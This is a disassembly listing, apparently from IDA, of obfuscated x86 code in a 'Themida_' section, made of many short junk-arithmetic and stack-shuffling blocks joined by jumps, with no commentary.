		add	ebx, 1AE34439h
		push	5E72h
		jmp	loc_5ADEFC
; ---------------------------------------------------------------------------


loc_5A40CD:				; CODE XREF: Themida_:005A1250j
		mov	[esp], edx
		push	5349h
		mov	[esp], eax
		jmp	loc_5A1001
; ---------------------------------------------------------------------------


loc_5A40DD:				; CODE XREF: Themida_:005A2429j
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		push	ebx
		jmp	loc_5A1D5E
; ---------------------------------------------------------------------------


loc_5A40E7:				; CODE XREF: Themida_:005A60FFj
		mov	ebx, 73177639h
		add	ebx, 0C8D0DE77h
		mov	edx, ebx
		jmp	loc_5A6FBA
; ---------------------------------------------------------------------------


loc_5A40F9:				; CODE XREF: Themida_:005AE811j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59908F
; ---------------------------------------------------------------------------


loc_5A410C:				; CODE XREF: Themida_:005A462Aj
		mov	ebp, 4
		mov	eax, ebp
		pop	ebp
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A1478
; ---------------------------------------------------------------------------


loc_5A4128:				; CODE XREF: Themida_:005A8DEDj
		add	edx, ecx
		jmp	loc_5A61BE
; ---------------------------------------------------------------------------


loc_5A412F:				; CODE XREF: Themida_:005989E7j
		pop	ecx
		mov	edi, ebx
		jmp	loc_59E5EF
; ---------------------------------------------------------------------------


loc_5A4137:				; CODE XREF: Themida_:005A02C7j
		add	edx, 6EF64C5Eh
		push	edi
		mov	edi, 23A33C06h
		add	edx, edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 29FB28DDh
		add	edx, ecx
		add	edx, 29FB28DDh
		push	ecx
		push	edi
		jmp	loc_5A1DBF
; ---------------------------------------------------------------------------


loc_5A4164:				; CODE XREF: Themida_:005A2F27j
		shr	ebp, 6
		or	ebp, 46FF0B05h
		jnp	loc_5A280C
		sub	ebp, 15660F92h
		jbe	loc_5A4B7E
		jmp	loc_5A810F
; ---------------------------------------------------------------------------


loc_5A4184:				; CODE XREF: Themida_:005A5BCDj
		add	esp, 4
		and	edx, 779A3364h
		add	edx, 0D8A50EEh
		add	edx, 0FFFFFFFFh
		inc	edx
		sub	edx, 5B6C40DEh
		add	edx, 0CC174F47h
		sub	eax, edx
		pop	edx
		jmp	loc_59D4A7
; ---------------------------------------------------------------------------


loc_5A41AB:				; CODE XREF: Themida_:005AC717j
		shl	ecx, 6
		jmp	loc_59ADA7
; ---------------------------------------------------------------------------


loc_5A41B3:				; CODE XREF: Themida_:005A1C52j
		sub	bh, dl
		pop	edx
		xor	al, bh
		jmp	loc_5A3B7E
; ---------------------------------------------------------------------------


loc_5A41BD:				; CODE XREF: Themida_:0059A2DDj
		dec	eax
		xchg	eax, edx
		add	edx, 0FC33E82Ah
		xor	eax, edx
		pop	edx
		xor	ecx, eax
		jmp	loc_5A5C66
; ---------------------------------------------------------------------------


loc_5A41CF:				; CODE XREF: Themida_:005A38D0j
		mov	dl, 36h
		neg	dl
		dec	dl
		xor	dl, 0A3h
		jmp	loc_59E745
; ---------------------------------------------------------------------------


loc_5A41DD:				; CODE XREF: Themida_:005A7070j
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 7E7954A2h
		inc	esi
		js	loc_59B811
		neg	esi
		jle	loc_5991FE
		add	esi, 0DF8AB5EDh
		mov	eax, esi
		pop	esi
		xor	ecx, eax


loc_5A4204:				; CODE XREF: Themida_:005AC013j
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_5A8FCB
; ---------------------------------------------------------------------------


loc_5A4213:				; CODE XREF: Themida_:0059DB62j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59C4D0
; ---------------------------------------------------------------------------


loc_5A4223:				; CODE XREF: Themida_:0059B983j
		xor	edx, [esp]
		pop	esp
		jmp	loc_5A7D56
; ---------------------------------------------------------------------------


loc_5A422C:				; CODE XREF: Themida_:005A04DAj
		xor	ah, dl
		pop	edx
		add	ch, ah
		pop	eax
		jmp	loc_5994E2
; ---------------------------------------------------------------------------


loc_5A4237:				; CODE XREF: Themida_:0059B541j
		add	eax, 4
		jmp	loc_59D9D8
; ---------------------------------------------------------------------------


loc_5A4241:				; CODE XREF: Themida_:005AC2DDj
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5AF3F1
; ---------------------------------------------------------------------------


loc_5A424E:				; CODE XREF: Themida_:005A32A9j
		mov	edi, 61A50C59h
		neg	edi
		sub	edi, 9E5AF3A3h
		jmp	loc_5A295B
; ---------------------------------------------------------------------------


loc_5A4260:				; CODE XREF: Themida_:005AF1D0j
		mov	ecx, 4
		jmp	loc_5A31D8
; ---------------------------------------------------------------------------


loc_5A426A:				; CODE XREF: Themida_:00599BE4j
		push	ecx
		mov	ecx, 66DD34ADh
		jmp	loc_5A5258
; ---------------------------------------------------------------------------


loc_5A4275:				; CODE XREF: Themida_:00599109j
		sub	esi, 0ED3h
		jmp	loc_5A6B7E
; ---------------------------------------------------------------------------


loc_5A4280:				; CODE XREF: Themida_:00599BFAj
		pop	edi
		not	edi
		neg	edi
		jmp	loc_5A01D4
; ---------------------------------------------------------------------------


loc_5A428A:				; CODE XREF: Themida_:0059F6F7j
		sub	eax, 0B5310314h
		or	ebx, eax
		pop	eax
		push	eax
		mov	eax, 7FBE7F1Bh
		xor	ebx, eax
		pop	eax
		add	edx, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	4
		pop	edi
		sub	edx, edi
		jmp	loc_5A5C8D
; ---------------------------------------------------------------------------


loc_5A42C6:				; CODE XREF: Themida_:loc_5A196Bj
					; Themida_:005A6A39j
		pop	esp
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5AA887
; ---------------------------------------------------------------------------


loc_5A42DB:				; CODE XREF: Themida_:005A0B65j
		pop	edi
		push	ebp
		jmp	loc_5AB1A7
; ---------------------------------------------------------------------------


loc_5A42E2:				; CODE XREF: Themida_:0059FBF2j
		push	eax
		push	ecx
		push	ebp
		pop	ecx
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, eax
		jmp	loc_5AEEA3
; ---------------------------------------------------------------------------


loc_5A42F5:				; CODE XREF: Themida_:005A87B9j
		mov	ecx, 4B8D1DC4h
		add	edi, ecx
		pop	ecx
		jmp	loc_5A6CEE
; ---------------------------------------------------------------------------


loc_5A4302:				; CODE XREF: Themida_:005AE2D2j
		add	esp, 4
		jmp	loc_59B35A
; ---------------------------------------------------------------------------


loc_5A430A:				; CODE XREF: Themida_:005AF590j
		push	edx
		mov	dh, ch
		mov	bh, dh
		pop	edx
		jmp	loc_599DCB
; ---------------------------------------------------------------------------


loc_5A4315:				; CODE XREF: Themida_:005AE34Ej
		sub	[esp+8], edx
		jmp	loc_5AC467
; ---------------------------------------------------------------------------


loc_5A431E:				; CODE XREF: Themida_:005A8B6Dj
		pop	edx
		and	ebx, 4A1D701Ah
		shr	ebx, 2
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 551B21B2h
		jmp	loc_5A3F4D
; ---------------------------------------------------------------------------


loc_5A433C:				; CODE XREF: Themida_:0059D3A4j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	bl, al
		pop	eax
		xor	al, bl
		jmp	loc_5A777E
; ---------------------------------------------------------------------------


loc_5A4350:				; CODE XREF: Themida_:005A3590j
		mov	edx, [esp]
		add	esp, 4
		add	eax, 759A7A3Eh
		pop	ecx
		add	eax, ebx
		jmp	loc_5A509E
; ---------------------------------------------------------------------------


loc_5A4366:				; CODE XREF: Themida_:005A7132j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	ebx
		mov	ebx, 41F87CF7h
		dec	ebx
		jge	loc_5A0E84
		neg	ebx
		jbe	loc_59D8DD
		jmp	loc_59E0C7
; ---------------------------------------------------------------------------


loc_5A438B:				; CODE XREF: Themida_:loc_5A67ABj
		or	cl, 0A4h
		jns	loc_5A467E
		xor	cl, 6Ch
		jmp	loc_5AF519
; ---------------------------------------------------------------------------


loc_5A439C:				; CODE XREF: Themida_:0059BF64j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5A2AA5
; ---------------------------------------------------------------------------


loc_5A43A4:				; CODE XREF: Themida_:005A827Bj
		sub	eax, 9EDD1486h
		add	ebx, eax
		pop	eax
		mov	ecx, 60E7119Fh
		push	edx
		jmp	loc_59E34C
; ---------------------------------------------------------------------------


loc_5A43B7:				; CODE XREF: Themida_:loc_599E61j
		sub	edx, 46DC0FA9h
		sub	edx, 0B1B53980h
		jmp	loc_5A1DF9
; ---------------------------------------------------------------------------


loc_5A43C8:				; CODE XREF: Themida_:0059CB3Dj
		mov	eax, [esp]
		add	esp, 4
		xchg	eax, esi
		sub	esi, 829799B8h
		push	esi
		pop	ecx
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5AAFF2
; ---------------------------------------------------------------------------


loc_5A43FA:				; CODE XREF: Themida_:00598778j
		add	al, dh
		jmp	loc_59BF77
; ---------------------------------------------------------------------------


loc_5A4401:				; CODE XREF: Themida_:005985DDj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		movsx	ecx, ax
		jmp	loc_5AB8AD
; ---------------------------------------------------------------------------


loc_5A4413:				; CODE XREF: Themida_:0059C15Ej
					; Themida_:005A9C1Fj
		xor	edi, ebp
		jmp	loc_5A97A5
; ---------------------------------------------------------------------------


loc_5A441A:				; CODE XREF: Themida_:005A57E5j
		inc	ebp
		sub	ebp, 55324183h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	5EF3h
		mov	[esp], esi
		push	0C1Dh
		mov	[esp], ebx
		jmp	loc_59F720
; ---------------------------------------------------------------------------


loc_5A444E:				; CODE XREF: Themida_:005A3DF7j
		push	dword ptr [esp]
		jmp	loc_59FF64
; ---------------------------------------------------------------------------


loc_5A4456:				; CODE XREF: Themida_:0059D14Bj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A445B:				; CODE XREF: Themida_:0059E84Bj
		shl	ebp, 3
		jmp	loc_5AE68C
; ---------------------------------------------------------------------------


loc_5A4463:				; CODE XREF: Themida_:005ADC00j
		sub	esp, 4
		mov	[esp], edx
		pop	ecx
		pop	edx
		sub	ecx, 0BDFC9BBFh
		push	edx
		mov	edx, 2A7E6F90h
		add	ebx, edx
		jmp	loc_5A568C
; ---------------------------------------------------------------------------


loc_5A4481:				; CODE XREF: Themida_:005A7EFFj
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5AF3D2
; ---------------------------------------------------------------------------


loc_5A4498:				; CODE XREF: Themida_:0059F300j
					; Themida_:0059F798j
		jz	loc_5A0659
		shl	esi, 5
		jnp	loc_5AA221
		jmp	loc_5AE70F
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esp
		push	ebp
		or	ch, 0D6h


loc_5A44B3:				; CODE XREF: Themida_:005A9E1Cj
		not	ebx
		add	ebx, 0B7C4B0F8h
		push	ebx
		jmp	loc_59CAB0
; ---------------------------------------------------------------------------


loc_5A44C1:				; CODE XREF: Themida_:005A9C47j
		add	ebp, 4
		jmp	loc_5A761C
; ---------------------------------------------------------------------------


loc_5A44CC:				; CODE XREF: Themida_:005A8976j
		sub	eax, esi
		jmp	loc_59A4B8
; ---------------------------------------------------------------------------


loc_5A44D3:				; CODE XREF: Themida_:005A292Cj
		xor	[esp], ebx
		jmp	loc_5A58C0
; ---------------------------------------------------------------------------


loc_5A44DB:				; CODE XREF: Themida_:00598B05j
		xor	[esp+4], ecx
		pop	ecx
		pop	eax
		push	edi
		mov	edi, 724C6583h
		sub	edi, 47D8FD92h
		jmp	loc_59ADDE
; ---------------------------------------------------------------------------


loc_5A44F2:				; CODE XREF: Themida_:005A6336j
		and	ecx, 60A75FCDh
		jmp	loc_5AA297
; ---------------------------------------------------------------------------


loc_5A44FD:				; CODE XREF: Themida_:005AE4E7j
		or	dh, 6Eh
		jb	loc_5AD1F8
		sub	dh, 0BFh
		jl	loc_5A3C70
		and	dh, 0F7h
		push	eax
		mov	al, 5Ch
		xor	al, 0A8h
		xor	al, 21h
		jmp	loc_59B8E4
; ---------------------------------------------------------------------------


loc_5A451E:				; CODE XREF: Themida_:0059B175j
		sub	esi, 88FE7D2h
		sub	ebx, 0C236EC8h
		add	ebx, esi
		add	ebx, 0C236EC8h
		pop	esi
		sub	ebx, edi
		push	ecx
		jmp	loc_5A5C00
; ---------------------------------------------------------------------------


loc_5A453B:				; CODE XREF: Themida_:005A58BBj
		neg	edx
		add	edx, 68BB361Eh
		and	edx, 28471DEh
		sub	edx, 0C2AF561Eh
		jmp	loc_5AECE9
; ---------------------------------------------------------------------------


loc_5A4554:				; CODE XREF: Themida_:005A02ADj
		push	32ABh
		jmp	loc_5A3FE1
; ---------------------------------------------------------------------------


loc_5A455E:				; CODE XREF: Themida_:0059C02Aj
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	edi
		jmp	loc_5AEDF0
; ---------------------------------------------------------------------------


loc_5A456D:				; CODE XREF: Themida_:005AA2A3j
		push	ebx
		jmp	loc_5AA1C5
; ---------------------------------------------------------------------------


loc_5A4573:				; CODE XREF: Themida_:005A477Ej
		xchg	edi, ebx
		xor	[esp], ebx
		jmp	loc_5A5FEB
; ---------------------------------------------------------------------------


loc_5A457D:				; CODE XREF: Themida_:0059C824j
					; Themida_:005A2695j
		mov	esi, 0F6FCBC30h
		jmp	loc_5A0D86
; ---------------------------------------------------------------------------


loc_5A4587:				; CODE XREF: Themida_:005AD713j
		mov	eax, 73DF71FFh
		or	eax, 39AC4E82h
		jmp	loc_5A25CF
; ---------------------------------------------------------------------------


loc_5A4596:				; CODE XREF: Themida_:005A4756j
		mov	eax, [esp]
		push	7F37h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	esi
		mov	esi, 76FA4653h
		or	esi, 710E479Eh
		sub	esi, 33B94E1Ah
		jge	loc_5A3E36
		jmp	loc_59ED82
; ---------------------------------------------------------------------------
		pop	edx
		add	al, ch
		push	ecx
		mov	cl, 0E1h
		dec	cl
		mov	ecx, esi


loc_5A45D1:				; CODE XREF: Themida_:00598EF3j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5A6298
; ---------------------------------------------------------------------------


loc_5A4610:				; CODE XREF: Themida_:0059D021j
		pop	edx
		add	esi, 501538E5h
		jmp	loc_5AB055
; ---------------------------------------------------------------------------


loc_5A461C:				; CODE XREF: Themida_:005AD056j
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		add	ecx, 4
		push	eax
		push	ebp
		jmp	loc_5A410C
; ---------------------------------------------------------------------------


loc_5A462F:				; CODE XREF: Themida_:0059A6C2j
					; Themida_:005A218Ej
		jmp	loc_5AB0E5
; ---------------------------------------------------------------------------


loc_5A4634:				; CODE XREF: Themida_:00599297j
		shr	cl, 1
		jmp	loc_59F97F
; ---------------------------------------------------------------------------


loc_5A463B:				; CODE XREF: Themida_:00599B15j
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A3817
; ---------------------------------------------------------------------------


loc_5A464E:				; CODE XREF: Themida_:loc_5AC305j
		add	edi, 8B3F063Ah
		mov	ebx, edi
		pop	edi
		sub	ebx, 0DE47EF5Ch
		jmp	loc_5A3E4C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7141h
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59BACC
; ---------------------------------------------------------------------------


loc_5A467E:				; CODE XREF: Themida_:005A438Ej
		xor	cl, 6Ch
		jmp	loc_5A239B
; ---------------------------------------------------------------------------


loc_5A4686:				; CODE XREF: Themida_:005AA482j
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_5AD795
; ---------------------------------------------------------------------------


loc_5A4694:				; CODE XREF: Themida_:005ADC85j
		push	edx
		mov	dh, 9Ah
		sub	dh, 57h
		not	dh
		add	dh, 0B1h
		jmp	loc_5A6E91
; ---------------------------------------------------------------------------


loc_5A46A4:				; CODE XREF: Themida_:005A670Aj
		mov	ebx, 4
		sub	ebp, 4D5319CFh
		jmp	loc_599BFF
; ---------------------------------------------------------------------------


loc_5A46B4:				; CODE XREF: Themida_:005AA0CCj
		or	al, 5Bh
		jns	loc_5AB634
		dec	al
		jmp	loc_5AF356
; ---------------------------------------------------------------------------


loc_5A46C3:				; CODE XREF: Themida_:005AB636j
		xor	al, 9
		mov	ch, al
		pop	eax
		jmp	loc_5AB4AB
; ---------------------------------------------------------------------------


loc_5A46CD:				; CODE XREF: Themida_:005AB46Cj
		xchg	cl, al
		not	cl
		push	edx
		mov	dl, cl
		jmp	loc_59F7AD
; ---------------------------------------------------------------------------


loc_5A46D9:				; CODE XREF: Themida_:005A334Bj
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A7949
; ---------------------------------------------------------------------------


loc_5A46E1:				; CODE XREF: Themida_:005A6280j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	66B245DAh
		jmp	loc_5A3D9E
; ---------------------------------------------------------------------------


loc_5A46F7:				; CODE XREF: Themida_:005AA3B4j
		sub	ebp, 492F8F70h
		jmp	loc_5AD6ED
; ---------------------------------------------------------------------------


loc_5A4702:				; CODE XREF: Themida_:005AE085j
		push	ebx
		mov	ebx, 62F27410h
		jmp	loc_5A8BFB
; ---------------------------------------------------------------------------


loc_5A470D:				; CODE XREF: Themida_:005AAB75j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A5079
; ---------------------------------------------------------------------------


loc_5A471B:				; CODE XREF: Themida_:005A13A6j
		jo	loc_59B4A0
		jmp	loc_5ABE37
; ---------------------------------------------------------------------------


loc_5A4726:				; CODE XREF: Themida_:00599225j
		xor	dh, 0DCh
		sub	bl, dh
		pop	edx
		sub	bl, cl
		push	cx
		mov	ch, 0A3h
		add	bl, ch
		pop	cx
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, 0B4h
		push	cx
		jmp	loc_5A1A10
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0B4h
		mov	[esp], eax
		push	esp
		jmp	loc_5A4596
; ---------------------------------------------------------------------------


loc_5A475B:				; CODE XREF: Themida_:005AB991j
		mov	esp, [esp]
		jmp	loc_5ADBAB
; ---------------------------------------------------------------------------


loc_5A4763:				; CODE XREF: Themida_:005987B4j
					; Themida_:0059AE6Fj
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_59F82E
; ---------------------------------------------------------------------------


loc_5A477A:				; CODE XREF: Themida_:005ADCC8j
		xchg	edi, ebx
		not	edi
		jmp	loc_5A4573
; ---------------------------------------------------------------------------


loc_5A4783:				; CODE XREF: Themida_:005AA1B0j
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A0CC7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A4FE4
; ---------------------------------------------------------------------------


loc_5A479D:				; CODE XREF: Themida_:005A0E9Dj
		add	ecx, 4
		push	ebp
		mov	ebp, 354227CCh
		shl	ebp, 7
		add	ebp, 5EEC1A04h
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59A899
; ---------------------------------------------------------------------------


loc_5A47CA:				; CODE XREF: Themida_:005A3974j
		pop	eax
		jmp	loc_5AF230
; ---------------------------------------------------------------------------


loc_5A47D0:				; CODE XREF: Themida_:005AC68Fj
		push	esi
		mov	esi, 26A54667h
		sub	esi, 6FA6698Dh
		or	esi, 88078Ch
		add	esi, 108352E3h
		and	esi, 3E3118Bh
		xor	esi, 92A09ECh
		and	ecx, esi
		pop	esi
		sub	ecx, 2A81149h
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 659B1093h
		not	eax
		jmp	loc_59F9E3
; ---------------------------------------------------------------------------


loc_5A4821:				; CODE XREF: Themida_:005A683Fj
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		sub	ecx, 81A216Bh
		add	ecx, ebp
		jmp	loc_5ADD6C
; ---------------------------------------------------------------------------


loc_5A483A:				; CODE XREF: Themida_:005ABD44j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5AC935
; ---------------------------------------------------------------------------


loc_5A484B:				; CODE XREF: Themida_:loc_5A01C2j
		add	edx, 6BE9A803h
		jmp	loc_5A4991
; ---------------------------------------------------------------------------


loc_5A4856:				; CODE XREF: Themida_:005A9A45j
		jp	loc_59C110
		push	esi
		push	1A63h
		mov	[esp], eax
		push	esi
		jmp	loc_599865
; ---------------------------------------------------------------------------


loc_5A486B:				; CODE XREF: Themida_:005A9C7Dj
					; Themida_:loc_5ABB11j
		add	esp, 4
		push	ebx
		jmp	loc_5A0F61
; ---------------------------------------------------------------------------


loc_5A4874:				; CODE XREF: Themida_:005A70D3j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59C8EC
; ---------------------------------------------------------------------------


loc_5A488B:				; CODE XREF: Themida_:0059B700j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A8E54
; ---------------------------------------------------------------------------


loc_5A4898:				; CODE XREF: Themida_:005AB7B6j
		mov	ecx, 57315691h
		shr	ecx, 4
		push	ebp
		push	ecx
		mov	ecx, 50D074DAh
		neg	ecx
		jns	loc_59AA63
		xor	ecx, 4B7F7C49h
		jo	loc_5A3835
		push	ebp
		mov	ebp, 7E7E44F4h
		or	ebp, 21603C66h
		xor	ebp, 7C6E451Eh
		sub	ecx, ebp
		pop	ebp
		neg	ecx
		xor	ecx, 30C17A4Ch
		jmp	loc_59B02C
; ---------------------------------------------------------------------------


loc_5A48DD:				; CODE XREF: Themida_:0059AE3Ej
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 475B5800h
		jmp	loc_59D1D8
; ---------------------------------------------------------------------------


loc_5A48ED:				; CODE XREF: Themida_:005AF589j
		pop	esi
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_59CB00
; ---------------------------------------------------------------------------


loc_5A4903:				; CODE XREF: Themida_:00599AC7j
		pop	ecx
		jmp	loc_5AF2A7
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5A52E0
; ---------------------------------------------------------------------------


loc_5A4911:				; CODE XREF: Themida_:0059D798j
					; Themida_:005A8F2Bj
		push	edi
		mov	edi, 54CF55B1h
		sub	[esp+8], edi
		push	dword ptr [esp]
		pop	edi
		push	2B31h
		jmp	loc_5A2108
; ---------------------------------------------------------------------------


loc_5A4929:				; CODE XREF: Themida_:005A3576j
		pop	ebp
		xor	ebp, 0F9B7999h
		mov	esi, [esp]
		jmp	loc_59F444
; ---------------------------------------------------------------------------


loc_5A4938:				; CODE XREF: Themida_:005A635Aj
		mov	al, dl
		mov	ch, al
		pop	eax
		pop	edx
		mov	ah, ch
		pop	cx
		or	ah, 1Eh
		add	ah, 15h
		push	edx
		jmp	loc_5AA17D
; ---------------------------------------------------------------------------


loc_5A494E:				; CODE XREF: Themida_:005AE099j
		push	ebx
		jmp	loc_59E4CD
; ---------------------------------------------------------------------------


loc_5A4954:				; CODE XREF: Themida_:005A6C08j
		pop	edx
		jmp	loc_59DC2B
; ---------------------------------------------------------------------------


loc_5A495A:				; CODE XREF: Themida_:005AA0C4j
					; Themida_:005ABF54j
		sub	eax, 0FD8129Eh
		jg	loc_59EFDB
		xor	eax, 1B8A5385h
		mov	edi, eax
		pop	eax
		jmp	loc_59AE1C
; ---------------------------------------------------------------------------
		push	esi


loc_5A4973:				; CODE XREF: Themida_:00599F50j
		xor	cl, 20h
		sub	cl, 0B2h
		sub	cl, 9Bh
		sub	al, cl
		pop	ecx
		add	al, ch
		push	edx
		push	ebx
		mov	bh, 0F1h
		mov	dl, bh
		jmp	loc_5A10F1
; ---------------------------------------------------------------------------


loc_5A498C:				; CODE XREF: Themida_:005AC66Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A4991:				; CODE XREF: Themida_:005A4851j
		mov	edi, edx
		mov	edx, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A0C0F
; ---------------------------------------------------------------------------


loc_5A49A3:				; CODE XREF: Themida_:005A7A6Dj
		sub	ebx, 66CE398Dh
		or	ebx, 51FE5C76h
		jnp	loc_5A7D86
		push	ebp
		jmp	loc_5983BE
; ---------------------------------------------------------------------------


loc_5A49BB:				; CODE XREF: Themida_:005A89D6j
		mov	bh, 93h
		inc	bh
		jns	loc_59944F
		add	bh, 0B1h
		jnb	loc_59EB3E
		neg	bh
		push	ax
		mov	al, 45h
		jmp	loc_59B1C7
; ---------------------------------------------------------------------------


loc_5A49D9:				; CODE XREF: Themida_:005A618Fj
		sub	esp, 4
		jmp	loc_5AA7D2
; ---------------------------------------------------------------------------


loc_5A49E1:				; CODE XREF: Themida_:0059878Ej
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_5A5120
; ---------------------------------------------------------------------------


loc_5A49EA:				; CODE XREF: Themida_:005A5F13j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5ADC5D
; ---------------------------------------------------------------------------


loc_5A49F5:				; CODE XREF: Themida_:005A2DE3j
		mov	[esp], ebx
		mov	bh, 2Bh
		push	cx
		mov	cl, bh
		not	cl
		push	eax
		jmp	loc_5ADB16
; ---------------------------------------------------------------------------


loc_5A4A06:				; CODE XREF: Themida_:005A1197j
		inc	edx
		jmp	loc_599E61
; ---------------------------------------------------------------------------


loc_5A4A0C:				; CODE XREF: Themida_:005A0FAAj
		pop	esp
		add	eax, ecx
		jmp	loc_5A3D42
; ---------------------------------------------------------------------------


loc_5A4A14:				; CODE XREF: Themida_:005AEE28j
		pop	eax
		jmp	loc_59FD6D
; ---------------------------------------------------------------------------


loc_5A4A1A:				; CODE XREF: Themida_:0059872Cj
		xor	ah, 59h
		jmp	loc_5A984E
; ---------------------------------------------------------------------------


loc_5A4A22:				; CODE XREF: Themida_:0059ED36j
					; Themida_:005AE51Fj
		pop	ecx
		inc	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 69F65C4h
		add	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		push	ebx
		push	ecx
		push	99372DAh
		pop	ecx
		shr	ecx, 6
		shr	ecx, 5
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, 74275643h
		and	edi, 15A76411h
		jz	loc_59F6B4
		inc	edi
		xor	edi, 5DB91CE3h
		jns	loc_5AD26D
		not	edi
		push	ecx
		mov	ecx, 47D687C8h
		sub	edi, ecx


loc_5A4A7C:				; CODE XREF: Themida_:005ACED0j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	21CFh
		mov	[esp], esp
		jmp	loc_59A4EE
; ---------------------------------------------------------------------------


loc_5A4A90:				; CODE XREF: Themida_:005A7F63j
		mov	esp, [esp]
		push	esi
		push	5E5Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A62A3
; ---------------------------------------------------------------------------


loc_5A4ABC:				; CODE XREF: Themida_:005A1966j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5AA371
; ---------------------------------------------------------------------------


loc_5A4AD0:				; CODE XREF: Themida_:0059E1E3j
		sub	eax, 71A46F59h
		sub	edi, eax
		pop	eax
		jmp	loc_5A4C4A
; ---------------------------------------------------------------------------


loc_5A4ADD:				; CODE XREF: Themida_:005AB961j
		add	eax, edx
		pop	edx
		sub	dword ptr [esp+4], 6EA8753Eh
		push	esi
		mov	esi, 1AE846F8h
		add	dword ptr [esp+8], 37380686h
		jmp	loc_5995AC
; ---------------------------------------------------------------------------


loc_5A4AFB:				; CODE XREF: Themida_:005A7557j
		add	ebx, 66942AC8h
		jmp	loc_598510
; ---------------------------------------------------------------------------


